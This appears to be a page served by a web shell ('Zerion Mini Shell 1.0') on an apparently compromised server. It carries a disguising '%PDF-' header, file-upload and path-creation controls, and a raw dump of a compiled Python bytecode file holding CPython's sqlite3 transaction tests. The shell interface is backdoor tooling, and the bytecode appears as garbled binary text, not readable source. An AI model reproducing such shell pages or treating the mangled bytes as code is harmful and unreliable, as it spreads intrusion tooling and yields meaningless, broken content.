%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/sqlite3/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/sqlite3/test/__pycache__/transactions.cpython-38.pyc

U

p©ßa¯ã@sxddlZddlZddlZdd„ZGdd„dejƒZGdd„dejƒZGdd	„d	ejƒZd
d„Z	dd
„Z
edkrte
ƒdS)éNcCsdS)NZ
sqlite_testdb©rrrú5/usr/local/lib/python3.8/sqlite3/test/transactions.pyÚget_db_pathsrc@sˆeZdZdd„Zdd„Zdd„Zdd„Zd	d
„Zdd„Zd
d„Z	dd„Z
e e
jdkd¡dd„ƒZe e
jdkd¡dd„ƒZdd„ZdS)ÚTransactionTestscCsfzt tƒ¡Wntk
r$YnXtjtƒdd|_|j ¡|_tjtƒdd|_	|j	 ¡|_
dS)Ngš™™™™™¹?)Útimeout)ÚosÚremoverÚOSErrorÚsqliteÚconnectÚcon1ÚcursorÚcur1Úcon2Úcur2©ÚselfrrrÚsetUpszTransactionTests.setUpcCsR|j ¡|j ¡|j ¡|j ¡zt tƒ¡Wntk
rLYnXdS©N)	rÚcloserrrrÚunlinkrr	rrrrÚtearDown+s



zTransactionTests.tearDowncCsN|j d¡|j d¡|j d¡|j d¡|j ¡}| t|ƒd¡dS)Núcreate table test(i)úinsert into test(i) values (5)zcreate table test2(j)úselect i from testr©rÚexecuterÚfetchallÚassertEqualÚlen©rÚresrrrÚCheckDMLDoesNotAutoCommitBefore7s
z0TransactionTests.CheckDMLDoesNotAutoCommitBeforecCsB|j d¡|j d¡|j d¡|j ¡}| t|ƒd¡dS)Nrrrrrr rrrÚCheckInsertStartsTransaction?s

z-TransactionTests.CheckInsertStartsTransactioncCsX|j d¡|j d¡|j ¡|j d¡|j d¡|j ¡d}| |d¡dS)Nrrzupdate test set i=6rré)rrrÚcommitrZfetchonerr rrrÚCheckUpdateStartsTransactionFs
z-TransactionTests.CheckUpdateStartsTransactioncCsX|j d¡|j d¡|j ¡|j d¡|j d¡|j ¡}| t|ƒd¡dS)Nrrzdelete from testré©rrrr%rrrrr rrrÚCheckDeleteStartsTransactionOs

z-TransactionTests.CheckDeleteStartsTransactioncCsl|j d¡|j d¡|j ¡|j d¡|j d¡|j ¡}| t|ƒd¡| |ddd¡dS)Nrrzreplace into test(i) values (6)rr'rr$r(r rrrÚCheckReplaceStartsTransactionXs

z.TransactionTests.CheckReplaceStartsTransactioncCs¤|j d¡|j d¡d|j_| |jjd¡|j d¡|j ¡}| t|ƒd¡d|j_| |jjd¡|j d¡|j d¡|j ¡}| t|ƒd¡dS)Nrrrr'ZDEFERRED)rrrZisolation_levelrrrrr rrrÚCheckToggleAutoCommitbs

z&TransactionTests.CheckToggleAutoCommit)éér-z.test hangs on sqlite versions older than 3.2.2c	Cs@|j d¡|j d¡| tj¡|j d¡W5QRXdS)Nrr)rrÚassertRaisesr
ÚOperationalErrorrrrrrÚCheckRaiseTimeoutrsz"TransactionTests.CheckRaiseTimeoutc	CsJ|j d¡|j d¡| tj¡|j d¡W5QRX|j ¡dS)z
        This tests the improved concurrency with pysqlite 2.3.4. You needed
        to roll back con2 before you could commit con1.
        rrN)rrr.r
r/rrr%rrrrÚCheckLockingzs
zTransactionTests.CheckLockingc	Cs\t d¡}| ¡}| d¡| d¡| d¡| ¡| tj¡| ¡W5QRXdS)z…
        Checks if cursors on the connection are set into a "reset" state
        when a rollback is done on the connection.
        ú:memory:zcreate table test(x)zinsert into test(x) values (5)z&select 1 union select 2 union select 3N)r
rr
rÚrollbackr.ZInterfaceErrorr)rÚconÚcurrrrÚCheckRollbackCursorConsistencyˆs



z/TransactionTests.CheckRollbackCursorConsistencyN)Ú__name__Ú
__module__Ú__qualname__rrr"r#r&r)r*r+ÚunittestZskipIfr
Zsqlite_version_infor0r1r6rrrrrs"		
ÿ
ÿ
rc@s,eZdZdd„Zdd„Zdd„Zdd„Zd	S)
ÚSpecialCommandTestscCst d¡|_|j ¡|_dS©Nr2)r
rr4r
r5rrrrr˜szSpecialCommandTests.setUpcCs(|j d¡|j d¡|j d¡dS)Nrrzdrop table test©r5rrrrrÚCheckDropTableœsz"SpecialCommandTests.CheckDropTablecCs(|j d¡|j d¡|j d¡dS)Nrrzpragma count_changes=1r=rrrrÚCheckPragma¡szSpecialCommandTests.CheckPragmacCs|j ¡|j ¡dSr)r5rr4rrrrr¦s
zSpecialCommandTests.tearDownN)r7r8r9rr>r?rrrrrr;—sr;c@s4eZdZdd„Zdd„Zdd„Zdd„Zd	d
„ZdS)ÚTransactionalDDLcCst d¡|_dSr<)r
rr4rrrrr«szTransactionalDDL.setUpcCs6|j d¡|j ¡|j d¡ ¡}| |g¡dS)Nrúselect * from test)r4rr3rr)rÚresultrrrÚ#CheckDdlDoesNotAutostartTransaction®s
z4TransactionalDDL.CheckDdlDoesNotAutostartTransactionc	CsJ|j d¡|j d¡|j ¡| tj¡|j d¡W5QRXdS)Nzbegin immediaterrA©r4rr3r.r
r/rrrrÚCheckImmediateTransactionalDDL¶s

z/TransactionalDDL.CheckImmediateTransactionalDDLc	CsJ|j d¡|j d¡|j ¡| tj¡|j d¡W5QRXdS)NZbeginrrArDrrrrÚCheckTransactionalDDL¿s

z&TransactionalDDL.CheckTransactionalDDLcCs|j ¡dSr)r4rrrrrrÈszTransactionalDDL.tearDownN)r7r8r9rrCrErFrrrrrr@ªs
		r@cCs4t td¡}t td¡}t td¡}t |||f¡S)NZCheck)r:Z	makeSuiterr;r@Z	TestSuite)Z
default_suiteZspecial_command_suiteZ	ddl_suiterrrÚsuiteËsrGcCst ¡}| tƒ¡dSr)r:ZTextTestRunnerÚrunrG)ZrunnerrrrÚtestÑsrIÚ__main__)rr:Zsqlite3r
rZTestCaserr;r@rGrIr7rrrrÚ<module>sy!

Zerion Mini Shell 1.0